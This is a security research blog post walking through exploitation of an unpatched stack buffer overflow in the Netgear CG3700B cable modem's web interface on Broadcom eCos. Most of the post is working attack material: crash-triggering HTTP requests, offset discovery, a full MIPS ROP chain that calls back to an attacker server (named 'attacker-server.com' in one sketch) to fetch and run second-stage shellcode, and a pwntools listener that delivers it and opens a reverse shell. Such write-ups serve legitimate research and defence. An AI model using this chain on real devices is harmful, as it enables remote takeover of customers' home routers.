Broadcom eCos | Exploiting Stack Overflows (Netgear CG3700)

stack trace

Introduction

In this article I’ll introduce a methodology and corresponding techniques that you can use to exploit buffer overflows on the Broadcom variant of eCos.

I’ll demonstrate the methodology by exploiting a stack buffer overflow that affects the Netgear CG3700B device. This is a forever-day given that Netgear refused to fix it when asked by a major belgian ISP. You can read more about the bug here.

Reproducing the Bug

The buffer overflow affects the authenticated part of the device’s management web interface. A reduced test case is provided below:

POST /goform/controle?id=1205828651 HTTP/1.1
Host: 192.168.0.1
Content-Length: 596
Cache-Control: max-age=0
Authorization: Basic XXXXXXXXXXXXX
Origin: http://192.168.0.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.1/controle.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close

text_keyword=a&text_block=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&
text_allow=&Action_Add=Add&Action_Del=0&Action_Function=2

Broadcom based cable modems running eCos that are deployed by ISPs run on production versions, which means they do not expose debugging stubs over TCP or serial communications (this is something that can be enabled when building eCos images, with GDB stubs exposed over serial or TCP either by the firmware itself or the Redboot hypervisor).

However, every firmware that rely on Broadcom Foundation Classes has a custom exception handler that triggers on segmentation faults. This exception handler will print out all MIPS registers, current instruction, and affected thread. Given that these devices only support one simultaneous console connection, it will be printed out on whichever interface you’re currently connected to (i.e. serial if you’re connected over UART, telnet if you’re connected over TCP).

If we send the reduced test case from above, we’ll get the following dump printed out:

>>> YIKES... looks like you may have a problem! <<<

r0/zero=00000000 r1/at  =00000000 r2/v0  =80f6fcc4 r3/v1  =41414141
r4/a0  =00000000 r5/a1  =86489960 r6/a2  =80808080 r7/a3  =01010101
r8/t0  =86489860 r9/t1  =fffffffe r10/t2 =864897c0 r11/t3 =86489850
r12/t4 =00000001 r13/t5 =00416374 r14/t6 =696f6e5f r15/t7 =44656c3d
r16/s0 =815d9be5 r17/s1 =815d9ab4 r18/s2 =80f758d8 r19/s3 =815d9ac1
r20/s4 =815d9bcd r21/s5 =815d9bd9 r22/s6 =00000000 r23/s7 =815d9bf4
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =00000005 r27/k1 =00000005
r28/gp =8161e5d0 r29/sp =86489850 r30/fp =864899ec r31/ra =8068069c

PC   : 0x806809d4    error addr: 0x41414141
cause: 0x00000014    status:     0x1000ff03

BCM interrupt enable: 18024085, status: 00000000
Instruction at PC: 0xac620000
iCache Instruction at PC: 0xafbf0000

entry 80680340  Return address (41414141) invalid.  Trace stops.

Task: HttpServerThread
---------------------------------------------------
ID:               0x00e8
Handle:           0x8648f2c0
Set Priority:     23
Current Priority: 23
State:            SUSP
Stack Base:       0x86483e0c
Stack Size:       24576 bytes
Stack Used:       4508 bytes

As we can see, we successfully overwrote the return address with the content from our buffer (0x41414141).

Identifying Buffer Length

In order to know how much padding is required to overflow the buffer, we will use gef “pattern create” and “pattern search”.

gef➤  pattern create 512
[+] Generating a pattern of 512 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf
[+] Saved as '$_gef0'

Let’s trigger the crash with this pattern:

POST /goform/controle?id=1205828651 HTTP/1.1
Host: 192.168.0.1
Content-Length: 596
Cache-Control: max-age=0
Authorization: Basic dm9vOkhSRExUV0tJ
Origin: http://192.168.0.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/81.0.4044.113 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.1/controle.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Connection: close

text_keyword=a&text_block=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf&text_allow=&Action_Add=Add&Action_Del=0&Action_Function=2

We see the crash happening when the executable tries to execute instruction at 0x6c616163:

>>> YIKES... looks like you may have a problem! <<<

r0/zero=00000000 r1/at  =00000000 r2/v0  =80f6fcc4 r3/v1  =78616162
r4/a0  =00000000 r5/a1  =86489ad0 r6/a2  =80808080 r7/a3  =01010101
r8/t0  =864898d0 r9/t1  =fffffffe r10/t2 =86489830 r11/t3 =864898c0
r12/t4 =00000001 r13/t5 =00416374 r14/t6 =696f6e5f r15/t7 =44656c3d
r16/s0 =815bf7ed r17/s1 =815bf5bc r18/s2 =80f758d8 r19/s3 =815bf5c9
r20/s4 =815bf7d5 r21/s5 =815bf7e1 r22/s6 =00000000 r23/s7 =815bf7fc
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =86489a5c r27/k1 =80663bd4
r28/gp =8161e5d0 r29/sp =864898c0 r30/fp =86489a5c r31/ra =8068069c

PC   : 0x806809d4    error addr: 0x78616162
cause: 0x00000014    status:     0x1000ff03

BCM interrupt enable: 18024085, status: 00000000
Instruction at PC: 0xac620000
iCache Instruction at PC: 0xafbf0000

entry 80680340  Return address (6c616163) invalid.  Trace stops.

We can now find the offset by searching through our pattern.

gef➤  pattern search 0x6c616163
[+] Searching '0x6c616163'
[+] Found at offset 244 (big-endian search)

Now we know that our exploit payload will need 244 bytes of padding in order to overflow the buffer and take control of the program counter.

Designing the Exploit Chain

Given the lack of debugging abilities on this platform (with the exception of register dump on segfault), the best strategy is to craft a very small ROP chain (stage 1) that will fetch or receive a second stage that we can compile for our target. This way we don’t have to debug an overly long chain by constantly crashing/capturing output/rebooting in order to do everything via return oriented programming.

This is exactly what folks at Lyrebird did when exploiting the CableHaunt vulnerability on Sagemcom devices.

ropchain_revshell_ecos_bcm

The way their exploit works is:

  1. Hijack the return address via the overflow and start the ROP chain
  2. The ROP chain establish a TCP connection to a remote server and save a reference to the file descriptor of this TCP connection socket at a fixed address.
  3. The ROP chain reads shellcode from the remote server over the TCP connection and writes it in memory at a fixed address.
  4. The ROP chain finally jumps to the shellcode first instruction
  5. The shellcode creates a console object (similar to calling /bin/sh on Linux) and redirects IO to the file descriptor by fetching its reference from the fixed address the ROP chain used. This way, the socket that was used to fetch the shellcode will be kept open and used for the reverse shell communication.

Brilliant, right ?

Building a ROP Chain

ecos_exploit_design

Prerequisites

To build our ROP chain, we need to know the exact addresses of standard function within the firmware.

All these functions are part of standard eCos libraries bundled with the Broadcom variant. Reverse engineering firmwares to identify these functions is covered in eCos Firmware Analysis with Ghidra

We also need to choose fixed addresses in memory where we will store content. Namely:

A good start to understand where it is safe to write in memory is the Reversing eCos BFC Memory Layout article.

I personally always choose between two techniques: writing to the stack region of a thread where the thread’s stability will not put the device at risk (e.g. IkeThread on a device where IKE connectivity is not provided or used), or write to the lowest memory addresses within the heap region which are highly unlikely to be used by the system.

Handling Global Pointer Issues

One problem that may arise is that code will try to fetch content from or write content to memory addresses by relying on the global pointer ($gp) value while this value is corrupted due to our overflow. Say, for example, that you hit this instruction prior to actually taking control of $ra:

sw a2, 0x100(gp)

If the global pointer has been overwritten with ‘AAAA’, this will trigger an exception with code 5 “Address Error exception (Store)” and the device will crash because you’re trying to write to non-mapped memory.

The best yet not very elegant way of overcoming this is to pad our payload with the global pointer address. If we know the global pointer is set to 0x86cfb884, we can fill our payload array like this:

payload = b""
# we pad 0x34 * 0x4 = 208 bytes with the $gp value
for i in range(0, 0x34):
    payload += p32(0x86cfb884, endian='big')

Finding Gadgets in Large Firmwares

I’m using Ropper to find gadgets but it can take a while or even hangs with large firmware files. The best way to speed up the process is to simply cut a section with dd and run Ropper on it.

dd if=firmware.bin of=firmware_10M.bin bs=1M count=10 status=progress
ropper -a MIPSBE --console -I 0x8000 --badbytes 000a0d263d2f -f firmware_10M.bin
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] filtering badbytes... 100%
[LOAD] removing double gadgets... 100%
(codesection.bin/RAW/MIPSBE)> search addiu $a0, $zero, 2; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10;
[INFO] Searching for gadgets: addiu $a0, $zero, 2; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10;

[INFO] File: firmware_10M.bin
0x8025c5dc: addiu $a0, $zero, 2; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10; 

Chain Design

Our objective with the ROP chain is to execute something similar to this piece of C code:

#define AF_INET 2
#define SOCK_STREAM 1

char server_reply[256];
//create TCP socket
sockfd = socket(AF_INET , SOCK_STREAM , 0);
//setup sockaddr with remote server address, port, and protocol
server.sin_addr.s_addr = inet_addr("attacker-server.com");
server.sin_family = AF_INET;
server.sin_port = htons( 80 );
//connect to remote server
connect(sockfd , (struct sockaddr *)&server , sizeof(server))
//read content from the socket
recv(sockfd, server_reply , 256 , 0)

socket

int socket(int domain, int type, int protocol);

Our target, like all devices running BCM33XX chipsets, run on MIPS architecture. The calling convention of MIPS is to put the first three arguments into $a0, $a1, and $a2 respectively. Remaining arguments are pushed onto the stack.

The first step is to create a socket to communicate over IPv4 (AF_INET) using TCP (SOCK_STREAM). This is the equivalent of calling socket(2, 1, 0).

To do so, we need to put the value 2 into $a0, 1 into $a1, and 0 into $a0.

payload += p32(0x8025c5dc)  # $ra
# 0x8025c5dc: addiu $a0, $zero, 2; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10;
 
payload += pad(8)
payload += p32(0x801607ac)
# 0x801607ac: addiu $a1, $zero, 1; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10;
 
payload += pad(0xc)
payload += p32(0x801ba8b8)
# 0x801ba8b8: move $a2, $zero; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10;

Then, we need to call socket:

payload += pad(0xc)
payload += p32(0x8072c250)
# 0x8072c250: lw $v0, 4($sp); lw $ra, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20;
 
payload += pad(0x10)
payload += p32(socket_addr)
payload += pad(0x8)
payload += p32(0x801602e4) # $ra
# 0x801602e4: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

The MIPS calling convention also defines a register for return values: $v0. So once we return from calling socket, $v0 holds our file descriptor (an integer) and we need to save it somewhere in memory otherwise the trick of “the reverse shell will use the same channel when loading” will not work.

# regain control of $s0
payload += pad(0x10)
payload += p32(0x8001ef64) # $ra
# 0x8001ef64: lw $ra, 0x14($sp); lw $s0, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20;
 
payload += pad(0x18)
payload += p32(sockfd_addr - 0x4)
payload += p32(0x80062840)
# 0x80062840: sw $v0, 4($s0); lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;
 
payload += pad(0xc)
payload += p32(0x80cfee24) # $ra
payload += pad(0x8)
# 0x80cfee24: move $a0, $v0; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10;

connect

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

So $a0 is already set to contain our sockfd, we just need to put the right values in $a1 and $a2.

To setup our sockaddr struct into $a1, we first need to understand that struct.

struct sockaddr 
{
	unsigned short	sa_family;	/* address family, AF_xxx	*/
	char		sa_data[14];	/* 14 bytes of protocol address	*/
};

The structure is better represented by the diagram below:

sockaddr_struct

Here we have a problem because AF_INET must be equal to \x00\x02, which means holding a null byte. We cannot transfer null bytes in our payload because that would mean terminating the string, so we need to do some manipulation first.

The idea is to re-use data from the mapped firmware. We just have to identify a location in memory that starts with \x00\x02, the only caveat is that the TCP port it will connect to is arbitrary, corresponding to the two bytes that follow.

For this ROP chain, I’m using data from address 0x80010368, which means the TCP port will be 5504 (0x1580):

hardcoded_afinet_netgear

If you’re limited by firewall rules, the Python script below will help you find all occurences in a given firmware and corresponding TCP port so you can select what works best for you.

#!/usr/bin/env python3
'''
Search firmware file for a pattern starting with \x00\x02 so that it can be
re-used by ROP chains in need of an AF_INET value for their sockaddr_in structures.

The script will print the corresponding TCP port that the device will try connecting
to if a specific address is used to construct the sockaddr_in struct.

Author: Quentin Kaiser <quentin@ecos.wtf>
'''
import sys
import re
import struct

LOAD_ADDR = 0x80004000

def hunt(firmware_filename):
    with open(firmware_filename, "rb") as f:
        content = f.read()
        for match in re.finditer(b"\x00\x02([\x00-\xFF][\x00-\xFF])", content):
            idx = match.start()
            if idx % 4 == 0:
                port = struct.unpack('>H', content[idx+2:idx+4])[0]
                print("0x{:2x} - tcp/{}".format((LOAD_ADDR + idx), port))

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: {} firmware".format(sys.argv[0]))
        sys.exit(-1)
    hunt(sys.argv[1])

Of course nothing blocks us from overwriting the value next to \x00\x02, but we have to be 100% sure that we are not patching instructions that would lead to the device crashing at some point.

The chain is explained in comments:

payload += p32(0x80d51538)
payload += pad(0xc)
payload += p32(0x20202020)
payload += pad(0xc)
payload += p32(hardcoded_afinet)
payload += p32(sockaddr_addr) # buffer address
# 0x80d51538: lw $a2, ($sp); lw $ra, 0x18($sp); lw $s1, 0x14($sp); lw $s0, 0x10($sp); jr $ra; addiu  $sp, $sp, 0x20;

payload += p32(0x807ebaac)
# 0x807ebaac: lw $v0, ($s0); lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

payload += pad(0x8)
payload += p32(0x80d00ba8)
payload += pad(0xc)
payload += p32(sockaddr_addr + 0x04) # sockaddr_addr + offset to put IP
# 0x80d00ba8: sw $v0, ($s1); lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp,  0x10;

payload += p32(0x801b9d50)
payload += pad(0x4)
payload += struct.pack('>BBBB', 192, 168, 100, 2)
# 0x801b9d50: lw $v0, ($sp); lw $ra, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20;

payload += pad(0xc)
payload += p32(0x80d00ba8)
payload += pad(0xc)
payload += p32(sockaddr_addr) #$s1
payload += p32(sockaddr_addr) # $s0
# 0x80d00ba8: sw $v0, ($s1); lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp,  0x10;

payload += p32(0x8002a95c)
# 0x8002a95c: move $a1, $s0; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

payload += pad(0x8)
payload += p32(0x8072c250)
payload += pad(0xc)
payload += p32(connect_addr)
# 0x8072c250: lw $v0, 4($sp); lw $ra, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20;

payload += pad(0x8)
payload += p32(0x801602e4)
# 0x801602e4: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

recv

ssize_t recv(int sockfd, void *buf, size_t len, int flags);

Now it’s time to receive our second stage. We do so by calling recv while using the same sockfd reference, and a pointer to payload_buffer_addr, the fixed address we chose to save the shellcode in memory. I chose a length of 0x400 but feel free to choose anything else as long as it is larger than your shellcode size. The flags argument can be zero.

payload += pad(0x10)
payload += p32(0x80c64204)
# 0x80c64204: lw $a1, 4($sp); lw $ra, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20;
payload += pad(0xc)
payload += p32(payload_buffer_addr)
 
payload += pad(0x8)
payload += p32(0x80a0da78)
# 0x80a0da78: addiu $a2, $zero, 0x400; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;
 
payload += pad(0x10)
payload += p32(0x8001f198)
# 0x8001f198: move $a3, $zero; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10;
 
payload += pad(0x8)
payload += p32(0x80525698)
payload += pad(0xc)
payload += p32(sockfd_addr)
# 0x80525698: lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;
 
payload += pad(0x4)
payload += p32(0x80428bb4)
# 0x80428bb4: lw $a0, ($s0); lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp,  0x10;
 
payload += pad(0xc)
payload += p32(0x8072c250)
# 0x8072c250: lw $v0, 4($sp); lw $ra, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20;
 
payload += pad(0x8)
payload += p32(recv_addr)
 
payload += pad(0x8)
payload += p32(0x801602e4)
# 0x801602e4: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

sleep

MIPS processor have an instruction cache and a data cache. The instruction cache can contain instructions that differs from the instructions stored in memory, causing so-called “cache incoherencies”.

There is an excellent article on the subject by Senrio: Why is My Perfectly Good Shellcode Not Working?: Cache Coherency on MIPS and ARM.

I won’t cover the details here, just remember that we need to call sleep to sync the caches. The gadgets I’m using below will make the execution sleep for two seconds.

payload += pad(0x10)
payload += p32(0x8025c5dc)
# 0x8025c5dc: addiu $a0, $zero, 2; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10;

payload += pad(0x8)
payload += p32(0x8072c250)
# 0x8072c250: lw $v0, 4($sp); lw $ra, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20;

payload += pad(0x10)
payload += p32(sleep_addr)
payload += pad(0x8)
payload += p32(0x801602e4)
# 0x801602e4: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

pivot

Finally, we have our second stage shellcode saved at a fixed memory address, we synced the caches, we’re ready to jump to shellcode.

payload += pad(0x10)
payload += p32(0x8072c250)
# 0x8072c250: lw $v0, 4($sp); lw $ra, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20;
payload += pad(0xc)
payload += p32(payload_buffer_addr)

payload += pad(0x8)
payload += p32(0x801602e4)
# 0x801602e4: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10;

payload += pad(0xc)
payload += p32(payload_buffer_addr)
payload += p32(payload_buffer_addr)
# --- At this point, we're executing the received payload from the remote server

ROP Chain Reproduction

One interesting side effects of different firmwares being based on the same version of eCos (with the same libraries and constructs) is that we can be 99.9% sure that if we find a gadget in one firmware it will be present in all the others.

Knowing this, we could imagine a tool that auto-generates a ROP chain given a firmware file and a buffer length.

Serving the Payload

We can rely on pwntools to serve the second stage. The script below is directly inspired from Lyrebird code to exploit Sagemcom F@st 3890 (source).

Nothing too complex here. When the server receives the callback from our ROP chain, it returns the content from the file ‘exploit.raw’ (the second stage) and switch to interactive mode.

#!/usr/bin/env python
from pwn import *

with open('exploit.raw', 'rb') as f:
    shellcode = f.read()

l = listen(5504, '0.0.0.0')
c = l.wait_for_connection()
print("[+] Got connection. Sending payload.")
l.sendline(shellcode)
l.interactive()

Conclusion

In this article we covered how to exploit stack buffer overflows on the Broadcom variant of eCos. We learned how to reproduce a bug, identify the exact buffer length, and build a complete ROP chain manually.

In the process we learned a few tricks to overcome some limitations such as analyzing large firmware files with Ropper or setting up sockaddr structure by re-using existing bytes from memory.

If you want to go further, I recommend you read Crafting Shellcode for eCos.

As always, if you have any question feel free to contact me via Twitter or email.


Tagged #ecos, #exploit, #stack, #broadcom.